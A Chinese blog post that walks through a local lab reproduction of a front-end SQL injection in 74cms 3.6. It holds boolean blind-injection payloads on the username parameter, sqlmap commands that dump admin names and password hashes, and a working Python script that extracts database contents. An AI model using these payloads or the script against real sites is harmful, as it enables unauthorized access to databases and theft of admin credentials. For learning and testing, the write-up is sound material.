漏洞|74cms 3.6 前台SQL注入+Python脚本小练习

Posted 漏斗社区

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了漏洞|74cms 3.6 前台SQL注入+Python脚本小练习相关的知识,希望对你有一定的参考价值。

最近有个74cms v4.2.3任意文件下载的漏洞,本来想试着和74cms 3.6 前台SQL注入漏洞结合下然后取出QS_pwdhash的值进行MD5碰撞,可惜了任意文件下载的漏洞并不影响74cms 3.6,所以就只能先复现下前台注入漏洞了。


本次实验任务


1.复现74cms 3.6 前台SQL注入漏洞。

2.尝试使用Python 自动获取数据库中的数据。


实验工具


1.phpstudy

2.74cms 3.6 源码 (在文末有提供下载链接)

3.Python 2.7


漏洞复现过程


0x01 下载74cms 3.6并进行安装,安装成功后可以正常访问就是安装成功。

漏洞|74cms 3.6 前台SQL注入+Python脚本小练习

0x02 在http://127.0.0.1/74cms/plus/ajax_user.php在username参数中存在注入点。POST请求如下信息时候由于不存在usernamea的用户所以提示false

漏洞|74cms 3.6 前台SQL注入+Python脚本小练习

构造'or '1'='2进行请求提示false

POST DATA:username=a'or '1'='2&act=get_pass_check

漏洞|74cms 3.6 前台SQL注入+Python脚本小练习

构造'or '1'='1进行请求提示true

POST DATAusername=a'or '1'='1&act=get_pass_check

漏洞|74cms 3.6 前台SQL注入+Python脚本小练习

0x03 根据上面的请求判断http://127.0.0.1/74cms/plus/ajax_user.php中的username参数存在注入的且是布尔型盲注,使用burp Suite拦截该数据包并保存为req.txt。

漏洞|74cms 3.6 前台SQL注入+Python脚本小练习

0x04 使用>sqlmap.py -r req.txt --current-db命令获取当前数据库名信息。

漏洞|74cms 3.6 前台SQL注入+Python脚本小练习漏洞|74cms 3.6 前台SQL注入+Python脚本小练习

0x05 因为源码是公开的所以对应的数据库表名列名也就已知了,使用如下命令可以获取后台账号密码信息

>E:sqlmap>sqlmap.py -r req.txt --current-db -T qs_admin -C admin_name,pwd,pwd_hash --dump

漏洞|74cms 3.6 前台SQL注入+Python脚本小练习漏洞|74cms 3.6 前台SQL注入+Python脚本小练习

0x06 最近发布的74cms v4.2.3前台任意文件读取漏洞本来想利用这个漏洞去获取/data/config.php中的$QS_pwdhash值,但是很遗憾这个漏洞并不影响74cms 3.6的版本。为什么要获取$QS_pwdhash呢?因为在代码中数据库存放的pwd字段的值是由md5($admin_pwd.$pwd_hash.$QS_pwdhash)生成的,现在已知pwd,pwd_hash,如果知道QS_pwdhash的值就可能通过碰撞的方式获取到密码的明文信息,虽然有小小的不尽兴,但是为了能够让文章丰满些(不显得low 哈哈~),将这个盲注使用py实现,虽然SQLmap也能跑出来,就当随手练练编程吧。


漏洞|74cms 3.6 前台SQL注入+Python脚本小练习


0x07 粗略写了个脚本用来跑数据,当然这个就是平时练习时候写好的脚本改下就成了,所以推荐大家多多积累自己写的脚本,当要使用的时候就改下模板就好了,当初写这个模板时是为了更方便注入才写的,因为尽可能的将payload写成通用的,这样在传入的变量中就可以直接写入SQL语句,感觉方便些,使用查询语句规范化。


# -*- coding:utf-8 -*-

# -*- By Thinking -*-

import requests

import string

Url = "http://127.0.0.1/74cms/plus/ajax_user.php"

dic = string.letters + string.digits + '_'

header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',

          'Content-Type': 'application/x-www-form-urlencoded',

          }


postData = "username=a'or %s and '1'='1&act=get_pass_check"

def getLen(Url,Sql):

    sqli =Sql

    for Len in xrange(32):

        payload = '(' + sqli + ')' + '=' + str(Len)

        url =Url

        data = postData %(payload)

        # print data

        rq = requests.post(url, headers=header,data=data)

        if len(rq.content) == 4:

            print 'Length is : ', Len

            return Len



def getData(Url,Sql,Len):

    sqli = Sql

    temp = ''

    for i in xrange(Len):

        for x in dic:

            X = temp + x

            payload = "(select("+ sqli + ")regexp binary '^%s')" %(X)

            url = Url

            data = postData %(payload)

            # print data

            rq = requests.post(url, headers=header,data=data)

            if len(rq.content) == 4:

                temp = temp + x

                print temp

                break

    print 'Data is : ', temp

    return temp


if __name__=="__main__":

    # GetLenSQL = 'select length(pwd_hash) from qs_admin where admin_id=1' # 引号内写入想要查询的SQL语句即可。


 # Length = getLen(Url, GetLenSQL)

    # GetDataSQL = 'select pwd_hash from qs_admin where admin_id=1'        # 引号内写入想要查询的SQL语句即可

    GetLenSQL = 'select length(database())' # 引号内写入想要查询的SQL语句即可

    Length = getLen(Url, GetLenSQL)

    GetDataSQL = 'select database()'        # 引号内写入想要查询的SQL语句即可

    Data = getData(Url, GetDataSQL, Length)

漏洞|74cms 3.6 前台SQL注入+Python脚本小练习

漏洞|74cms 3.6 前台SQL注入+Python脚本小练习

小总结


这次的漏洞复现偏简单了,相信大家都可以做出来,所以大家可以尝试着将重点放在如何更好的使用Python进行盲注这个问题上,我也附上了自己写的代码,欢迎大家一起交流思路和编程写法。


链接: https://pan.baidu.com/s/1jHAYJ7S 密码: kqdr


通往白帽子的奇妙世界


点击下方“阅读原文”查看更多精彩内容☺

以上是关于漏洞|74cms 3.6 前台SQL注入+Python脚本小练习的主要内容,如果未能解决你的问题,请参考以下文章

74cms_v3.5.1.20141128 后台宽字节注入漏洞(iconv引发)

熊海CMS 1.0代码审计漏洞集合

phpyun人才管理系统V5.0 SQL注入漏洞分析

Atom CMS SQL注入漏洞 (CVE-2022-25488)

Atom CMS SQL注入漏洞 (CVE-2022-25488)

Victor CMS SQL注入漏洞( CVE-2022-26201)